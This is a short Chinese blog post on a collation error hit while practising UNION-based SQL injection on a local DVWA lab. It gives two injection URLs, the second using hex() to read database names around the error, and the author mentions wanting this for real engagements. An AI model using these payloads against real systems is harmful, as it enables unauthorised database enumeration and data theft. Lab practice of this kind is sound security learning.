• SQL查询时出现错误 “Illegal mix of collations for operation 'UNION'”


    1.在本地测试的时候,发现一个错误哦

    sql 注入进行查看所有数据库名的时候,

    百度查看,说的是编码问题,本地测试还能改一下编码,实战怎么办~

    解决办法:

    使用16进制进行读取

    http://10.211.55.8:804/vulnerabilities/sqli/?id=1' union select 1,schema_name from information_schema.schemata #&Submit=Submit#   最开始payload。
    
    http://10.211.55.8:804/vulnerabilities/sqli/?id=1' union select 1,hex(schema_name) from information_schema.schemata #&Submit=Submit#   16进制读取payload。
    

    上面的Surname 是读取出来的数据库名 16 进制。

    解码一下16进制就可以了。

  • 相关阅读:
    BZOJ 1088 模拟(扫雷经验…)
    BZOJ 1529
    BZOJ 3224
    BZOJ 1192
    BZOJ 1012
    博客搬家说明
    BZOJ 2423 DP
    BZOJ 1789&1830 推式子 乱搞
    BZOJ 1588
    拆点:虫洞
  • 原文地址:https://www.cnblogs.com/pangya/p/13331059.html
Copyright © 2020-2023  润新知